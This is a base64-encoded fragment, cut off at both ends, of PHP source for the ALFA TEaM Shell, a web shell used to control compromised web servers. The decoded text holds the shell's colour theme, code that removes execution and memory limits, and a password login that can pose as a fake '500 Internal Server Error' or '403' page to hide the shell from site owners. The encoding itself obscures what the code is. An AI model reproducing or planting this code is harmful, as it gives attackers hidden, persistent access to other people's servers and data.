A9PiAiI0ZGRkZGRiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmhlYWRlcl9wd2Q6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaGVhZGVyX2RyaXZlIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9kcml2ZTpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaGVhZGVyX2RyaXZlOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImhlYWRlcl9zaG93X2FsbCIgPT4gIiMwMEZGMDAiLAoJCSJkaXNhYmxlX2Z1bmN0aW9ucyIgPT4gIiNmZjAwMDAiLAoJCSJmb290ZXJfdGV4dCIgPT4gIiMyNzk3OUIiLAoJCSJtZW51X29wdGlvbnMiID0+ICIjMjc5NzlCIiwKCQkibWVudV9vcHRpb25zOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tZW51X29wdGlvbnM6aG92ZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0OiB1bnNldDsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMEZGMDAiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZXIgY2VudGVyIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0OmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZXIgY2VudGVyIGE6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0X2hlYWRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNTljYzMzIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIudHh0Zm9udF9oZWFkZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0X3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLnR4dGZvbnQsLnRibHR4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJBbGZhKyIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDZmZjBmIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuYWxmYV9wbHVzIiA9PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCgkJCSkKCQkpLAoJCSJoaWRkZW5fc2hlbGxfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDBGRjAwIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIjaGlkZGVuX3NoIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaGlkZGVuX3NoZWxsX3ZlcnNpb24iID0+ICIjZmYwMDAwIiwKCQkic2hlbGxfbmFtZSIgPT4gIiNGRjAwMDAiLAoJCSJtYWluX3Jvdzpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWFpbiB0cjpob3ZlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1haW5faGVhZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tYWluIHRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1haW5fbmFtZSIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWFpbiAubWFpbl9uYW1lIiA9PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCgkJCSkKCQkpLAoJCSJtYWluX3NpemUiID0+ICIjNjdBQkRGIiwKCQkibWFpbl9tb2RpZnkiID0+ICIjNjdBQkRGIiwKCQkibWFpbl9vd25lcl9ncm91cCIgPT4gIiM2N0FCREYiLAoJCSJtYWluX2dyZWVuX3Blcm0iID0+ICIjMjVmZjAwIiwKCQkibWFpbl9yZWRfcGVybSIgPT4gIiNGRjAwMDAiLAoJCSJtYWluX3doaXRlX3Blcm0iID0+ICIjRkZGRkZGIiwKCQkiYmVldHdlZW5fcGVybXMiID0+ICIjRkZGRkZGIiwKCQkibWFpbl9hY3Rpb25zIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tYWluIC5hY3Rpb25zIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1lbnVfb3B0aW9uczpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWVudV9vcHRpb25zOmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTtmb250LXdlaWdodDogdW5zZXQ7IiwKCQkJKQoJCSksCgkJIm1pbmltaXplX2VkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5taW5pbWl6ZWQtd3JhcHBlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1pbmltaXplX2VkaXRvcl90ZXh0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNmNWRlYjMiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5taW5pbWl6ZWQtdGV4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfYm9yZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5lZGl0b3ItZXhwbG9yZXIsLmVkaXRvci1tb2RhbCIgPT4gImJvcmRlcjogMnB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImVkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gInJnYmEoMCwgMSwgMjMsIDAuOTQpIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yLWV4cGxvcmVyLC5lZGl0b3ItbW9kYWwiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGVhZGVyX2JhY2tncm91bmQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAicmdiYSgyMSwgNjYsIDg4LCAwLjkzKSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmVkaXRvci1oZWFkZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGVhZGVyX3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzAwZmY3ZiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmVkaXRvci1wYXRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImVkaXRvcl9oZWFkZXJfYnV0dG9uIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMxZDU2NzMiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jbG9zZS1idXR0b24sIC5lZGl0b3ItbWluaW1pemUiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfYWN0aW9ucyIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yX2FjdGlvbnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2ZpbGVfaW5mb192YXJzIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5lZGl0b3JfZmlsZV9pbmZvX3ZhcnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2ZpbGVfaW5mb192YWx1ZXMiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzY3QUJERiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmZpbGVzdG9vbHMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2hpc3RvcnlfaGVhZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMxNGZmMDciLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5oaGVhZGVyLXRleHQsLmhpc3RvcnktY2xlYXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2hpc3RvcnlfbGlzdCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDNiM2EzIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yLWZpbGUtbmFtZSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGlzdG9yeV9zZWxlY3RlZF9maWxlIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gInJnYmEoNDksIDU1LCA5MywgMC43NykiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pc19hY3RpdmUiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGlzdG9yeV9maWxlOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5maWxlLWhvbGRlciA+IC5oaXN0b3J5OmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaW5wdXRfYm94X2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfSIsCgkJCSkKCQkpLAoJCSJpbnB1dF9ib3hfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjOTk5OTk5IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImlucHV0X2JveDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdOmhvdmVyLHRleHRhcmVhOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJzZWxlY3RfYm94X2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3QiID0+ICJib3JkZXI6IDFweCBzb2xpZCB7Y29sb3J9IiwKCQkJKQoJCSksCgkJInNlbGVjdF9ib3hfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkVFIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3QiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkic2VsZWN0X2JveDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3Q6aG92ZXIiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImJ1dHRvbl9ib3JkZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiaW5wdXRbdHlwZT1zdWJtaXRdLC5idXR0b24sI2FkZHVwIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiYnV0dG9uOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMyNzk3OUIiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJImlucHV0W3R5cGU9c3VibWl0XTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoycHggc29saWQge2NvbG9yfTsiLAoJCQkJIi5idXR0b246aG92ZXIsI2FkZHVwOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJvdXRwdXRzX3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzY3QUJERiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLm1sMSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJvdXRwdXRzX2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWwxIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXJfYm9yZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwRTMwNEEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pbnB1dGZpbGUiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInVwbG9hZGVyX2JhY2tncm91bmQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmlucHV0ZmlsZSBzdHJvbmciID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJ1cGxvYWRlcl90ZXh0X3JpZ2h0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pbnB1dGZpbGUgc3Ryb25nIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInVwbG9hZGVyX3RleHRfbGVmdCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjVmZjAwIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaW5wdXRmaWxlIHNwYW4iID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXI6aG92ZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmlucHV0ZmlsZTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXJfcHJvZ3Jlc3NfYmFyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMGZmMDAiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi51cF9iYXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJteXNxbF90YWJsZXMiID0+ICIjMDBGRjAwIiwKCQkibXlzcWxfdGFibGVfY291bnQiID0+ICIjNjdBQkRGIiwKCQkiY29weXJpZ2h0IiA9PiAiI2RmZmYwMCIsCgkJInNjcm9sbGJhciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMWU4MmI1IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIqOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInNjcm9sbGJhcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMDAxMTUiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIio6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKKTsKJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10gPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyx0cmltKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKTsKJGNvbmZpZyA9IGFycmF5KCdBbGZhVXNlcicgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsndXNlciddLCdBbGZhUGFzcycgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsncGFzcyddLCdBbGZhUHJvdGVjdFNoZWxsJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddLCdBbGZhTG9naW5QYWdlJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWydsb2dpbl9wYWdlJ10pOwovL0BzZXNzaW9uX3N0YXJ0KCk7CkBzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CkBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsKQHNldF90aW1lX2xpbWl0KDApOwpAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJy0xJyk7CkBpbmlfc2V0KCJ1cGxvYWRfbWF4X2ZpbGVzaXplIiwgIjk5OTltIik7CmlmKCRjb25maWdbJ0FsZmFQcm90ZWN0U2hlbGwnXSl7CiRTRVJWRVJfU0lHID0gKGlzc2V0KCRfU0VSVkVSWyJTRVJWRVJfU0lHTkFUVVJFIl0pPyRfU0VSVkVSWyJTRVJWRVJfU0lHTkFUVVJFIl06IiIpOwokRWZvcm09Jzxmb3JtIG1ldGhvZD0icG9zdCI+PGlucHV0IHN0eWxlPSJtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIj48L2Zvcm0+JzsKaWYoJGNvbmZpZ1snQWxmYUxvZ2luUGFnZSddID09ICdndWknKXsKaWYoQCRfQ09PS0lFWyJBbGZhVXNlciJdICE9ICRjb25maWdbJ0FsZmFVc2VyJ10gJiYgJF9DT09LSUVbIkFsZmFQYXNzIl0gIT0gbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKXsKaWYoQCRfUE9TVFsidXNybmFtZSJdPT0kY29uZmlnWydBbGZhVXNlciddICYmIEBtZDUoJF9QT1NUWyJwYXNzd29yZCJdKT09JGNvbmZpZ1snQWxmYVBhc3MnXSl7Cl9fYWxmYV9zZXRfY29va2llKCJBbGZhVXNlciIsICRjb25maWdbJ0FsZmFVc2VyJ10pOwpfX2FsZmFfc2V0X2Nvb2tpZSgiQWxmYVBhc3MiLCBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKTsKQGhlYWRlcignbG9jYXRpb246ICcuJF9TRVJWRVJbIlBIUF9TRUxGIl0pOwp9CmVjaG8gJwo8c3R5bGU+CmJvZHl7YmFja2dyb3VuZDogYmxhY2s7fQojbG9naW5ib3ggeyBmb250LXNpemU6MTFweDsgY29sb3I6Z3JlZW47IHJpZ2h0Ojg1cHg7IHdpZHRoOjEyMDBweDsgaGVpZ2h0OjIwMHB4OyBib3JkZXItcmFkaXVzOjVweDsgLW1vei1ib2Rlci1yYWRpdXM6NXB4OyBwb3NpdGlvbjpmaXhlZDsgdG9wOjI1MHB4OyB9CiNsb2dpbmJveCB0ZCB7IGJvcmRlci1yYWRpdXM6NXB4OyBmb250LXNpemU6MTFweDsgfQo8L3N0eWxlPgo8dGl0bGU+fiBBTEZBIFRFYU0gU2hlbGwtdicuX19BTEZBX1ZFUlNJT05fXy4nLScuX19BTEZBX0NPREVfTkFNRV9fLicgfjwvdGl0bGU+PGNlbnRlcj4KPGNlbnRlcj48aW1nIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwMHB4OyIgd2lkdGg9IjUwMCIgaGVpZ2h0PSIyNTAiIGFsdD0iYWxmYSB0ZWFtIDIwMTIiIGRyYWdnYWJsZT0iZmFsc2UiIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvYWxmYS1pcmFuLnBuZyIgLz48L2NlbnRlcj4KPGRpdiBpZD1sb2dpbmJveD48cD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPgo8Y2VudGVyPjx0YWJsZSBjZWxscGFkZGluZz1cJzJcJyBjZWxsc3BhY2luZz1cJzBcJyBib3JkZXI9XCcwXCcgaWQ9XCdhcF90YWJsZVwnPgo8dHI+PHRkIGJnY29sb3I9ImdyZWVuIj48dGFibGUgY2VsbHBhZGRpbmc9XCcwXCcgY2VsbHNwYWNpbmc9XCcwXCcgYm9yZGVyPVwnMFwnIHdpZHRoPVwnMTAwJVwnPjx0cj48dGQgYmdjb2xvcj0iZ3JlZW4iIGFsaWduPWNlbnRlciBzdHlsZT0icGFkZGluZzoyO3BhZGRpbmctYm90dG9tOjQiPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSIgc2l6ZT0tMSBjb2xvcj0id2hpdGUiIGZhY2U9InZlcmRhbmEsYXJpYWwiPjxiPn4gQUxGQSBURWFNIFNoZWxsLXYnLl9fQUxGQV9WRVJTSU9OX18uJy0nLl9fQUxGQV9DT0RFX05BTUVfXy4nIH48L2I+PC9mb250PjwvdGg+PC90cj4KPHRyPjx0ZCBiZ2NvbG9yPSJibGFjayIgc3R5bGU9InBhZGRpbmc6NSI+Cjxmb3JtIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImxvZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaGlkZSIgdmFsdWU9IiI+CjxjZW50ZXI+PHRhYmxlPgo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5Mb2dpbjo8L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJ1c3JuYW1lIiBwbGFjZWhvbGRlcj0idXNlcm5hbWUiIG9uZm9jdXM9ImlmICh0aGlzLnZhbHVlID09IFwndXNlcm5hbWVcJyl7dGhpcy52YWx1ZSA9IFwnXCc7fSI+PC90ZD48L3RyPgo8dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5QYXNzd29yZDo8L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBzaXplPSIzMCIgbmFtZT0icGFzc3dvcmQiIHBsYWNlaG9sZGVyPSJwYXNzd29yZCIgb25mb2N1cz0iaWYgKHRoaXMudmFsdWUgPT0gXCdwYXNzd29yZFwnKSB0aGlzLnZhbHVlID0gXCdcJzsiPjwvdGQ+PC90cj4KPHRyPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPiZuYnNwOzwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPgo8L2Rpdj48YnIgLz48L2NlbnRlcj4nOwpleGl0Owp9Cn1lbHNlaWYoJGNvbmZpZ1snQWxmYUxvZ2luUGFnZSddPT0nNTAwJyl7CmlmKEAkX0NPT0tJRVsiQWxmYVBhc3MiXSAhPSBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pKXsKaWYoQG1kNSgkX1BPU1RbInBhc3N3b3JkIl0pPT0kY29uZmlnWydBbGZhUGFzcyddKXsKX19hbGZhX3NldF9jb29raWUoIkFsZmFVc2VyIiwgJGNvbmZpZ1snQWxmYVVzZXInXSk7Cl9fYWxmYV9zZXRfY29va2llKCJBbGZhUGFzcyIsIEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpOwpAaGVhZGVyKCdsb2NhdGlvbjogJy4kX1NFUlZFUlsiUEhQX1NFTEYiXSk7Cn0KZWNobyAnPGh0bWw+PGhlYWQ+PHRpdGxlPjUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3I8L3RpdGxlPjwvaGVhZD48Ym9keT48aDE+SW50ZXJuYWwgU2VydmVyIEVycm9yPC9oMT48cD5UaGUgc2VydmVyIGVuY291bnRlcmVkIGFuIGludGVybmFsIGVycm9yIG9yIG1pc2NvbmZpZ3VyYXRpb24gYW5kIHdhcyB1bmFibGUgdG8gY29tcGxldGUgeW91ciByZXF1ZXN0LjwvcD48cD5QbGVhc2UgY29udGFjdCB0aGUgc2VydmVyIGFkbWluaXN0cmF0b3IsICcuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLicgYW5kIGluZm9ybSB0aGVtIG9mIHRoZSB0aW1lIHRoZSBlcnJvciBvY2N1cnJlZCwgYW5kIGFueXRoaW5nIHlvdSBtaWdodCBoYXZlIGRvbmUgdGhhdCBtYXkgaGF2ZSBjYXVzZWQgdGhlIGVycm9yLjwvcD48cD5Nb3JlIGluZm9ybWF0aW9uIGFib3V0IHRoaXMgZXJyb3IgbWF5IGJlIGF2YWlsYWJsZSBpbiB0aGUgc2VydmVyIGVycm9yIGxvZy48L3A+PGhyPicuJFNFUlZFUl9TSUcuJzwvYm9keT48L2h0bWw+Jy4kRWZvcm07CmV4aXQ7Cn0KfWVsc2VpZigkY29uZmlnWydBbGZhTG9naW5QYWdlJ109PSc0MDMnKXsKaWYoQCRfQ09PS0lFWyJBbGZhUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpewppZihAbWQ1KCRfUE9TVFsicGF